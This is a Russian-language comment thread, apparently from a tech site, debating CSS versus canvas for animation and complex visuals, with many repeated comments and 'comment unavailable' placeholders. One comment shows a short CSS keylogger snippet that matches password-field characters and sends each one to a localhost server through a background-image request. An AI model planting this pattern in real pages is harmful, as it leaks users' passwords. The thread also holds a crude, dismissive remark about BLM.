да не, я тоже так думал, потом пооткрывал на всяких устройствах всякие модные css only штуки и становится понятно, что он ни анимацию не может ни рендерить визуально нагруженные композиции. По этому в него скоро пробросят canvas через houdini. На нем круто можно верстать сайты и точка.
модных css штук не существует уже лет 5-10, потому что сам по себе css ограничен и дальше чем material.io ты его не разовьёшь. У тебя есть не так много сочетаний визуальных комбинаций для создания этого самого "look and feel" чтобы он отличался от других сайтов. Если ты посмотришь большинство сайтов состоят из ограниченного количества элементов. Вот пример того как это можно сдвинуть с мертвой точки https://iamvdo.me/en/blog/smooth-corners-with-css-houdini, который уже не 1 год в разработке.
в том то и дело что любая серьёзная анимация не будет работать быстрее, особенно если ты двигаешь дом элементы. А канвас это просто пиксели. Кстати всё 3д которое мы видим в канвасе на самом деле - это 2д)
я сам единственное что хорошо знаю - это css, по этому позволяю себе такое говорить. Зачем эта дом анимация, если всё что она умеет подвинуть объект в пространстве, пускай даже криво умеет в 3д.
безусловно какие-то простые вещи связанные с интерфейсом всегда будут на плечах css + если появятся библиотеки для гудини, тогда реально станет модно и что-то новое появится. А вообще рано или поздно столкнёшься с задачей, например при scale в safari или firefox на неретина дисплее у тебя blur в логотипе будет. И ты поймёшь что всё что ты пишешь не работает. А в канвасе не будет антиалиасинга, будет какая-нибудь кривая фигня, которую в красивую что-бы превратить нужны годы, но зато рано или поздно в нём ты сделаешь лучше.
Ну банально некрасиво, если ты на маке разрабатываешь, ты этого не увидишь скорее всего. Но если у тебя будет задача нарисовать что прилетает background размером с сайт, то все эти transform и will-change тебя не спасут, будет нагрузка по производительности. А размытие это дефолтный элемент анимации, в фильмах часто допустим используется motion blur и все дела. Antialiasing - это лесенка, раньше на 1 соньке видно было лесенку, в от это оно. Блюр один из способов с ним бороться, но там целая наука для избранных не таких как я.
как выглядят css ребусы
но даже на css можно сделать keylogger.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
на css можно сделать слишком много штук -___-
да не, я тоже так думал, потом пооткрывал на всяких устройствах всякие модные css only штуки и становится понятно, что он ни анимацию не может ни рендерить визуально нагруженные композиции. По этому в него скоро пробросят canvas через houdini. На нем круто можно верстать сайты и точка.
Комментарий недоступен
модных css штук не существует уже лет 5-10, потому что сам по себе css ограничен и дальше чем material.io ты его не разовьёшь. У тебя есть не так много сочетаний визуальных комбинаций для создания этого самого "look and feel" чтобы он отличался от других сайтов. Если ты посмотришь большинство сайтов состоят из ограниченного количества элементов. Вот пример того как это можно сдвинуть с мертвой точки https://iamvdo.me/en/blog/smooth-corners-with-css-houdini, который уже не 1 год в разработке.
Комментарий недоступен
в том то и дело что любая серьёзная анимация не будет работать быстрее, особенно если ты двигаешь дом элементы. А канвас это просто пиксели. Кстати всё 3д которое мы видим в канвасе на самом деле - это 2д)
Комментарий недоступен
я сам единственное что хорошо знаю - это css, по этому позволяю себе такое говорить. Зачем эта дом анимация, если всё что она умеет подвинуть объект в пространстве, пускай даже криво умеет в 3д.
Комментарий недоступен
безусловно какие-то простые вещи связанные с интерфейсом всегда будут на плечах css + если появятся библиотеки для гудини, тогда реально станет модно и что-то новое появится. А вообще рано или поздно столкнёшься с задачей, например при scale в safari или firefox на неретина дисплее у тебя blur в логотипе будет. И ты поймёшь что всё что ты пишешь не работает. А в канвасе не будет антиалиасинга, будет какая-нибудь кривая фигня, которую в красивую что-бы превратить нужны годы, но зато рано или поздно в нём ты сделаешь лучше.
Комментарий недоступен
Ну банально некрасиво, если ты на маке разрабатываешь, ты этого не увидишь скорее всего. Но если у тебя будет задача нарисовать что прилетает background размером с сайт, то все эти transform и will-change тебя не спасут, будет нагрузка по производительности. А размытие это дефолтный элемент анимации, в фильмах часто допустим используется motion blur и все дела. Antialiasing - это лесенка, раньше на 1 соньке видно было лесенку, в от это оно. Блюр один из способов с ним бороться, но там целая наука для избранных не таких как я.
Комментарий недоступен
Почему его не отрисовать тогда на канвасе? Главный философский вопрос разговора
Комментарий недоступен
Комментарий недоступен
Я сказал что верстать надо на css, а анимацию делать на канвасе и сложные визуальные элементы.
в хроме уже пробросили https://developers.google.com/web/updates/2018/01/paintapi
Комментарий недоступен
хз, вроде нет. но я больше по бэку
Самые уловие шутки — шутки с кодом
зачем рюзке эта залупа с BLM?
Странный айдишник
выравнивание поправь
Комментарий недоступен
Код невалидный
1. айдишник не может с цифры начинаться
2. Цвет так и не задан, поэтому по дефолту может быть хоть зелёный
.black-life {
background-color: #000000;
attitude: matter !important;
}
#000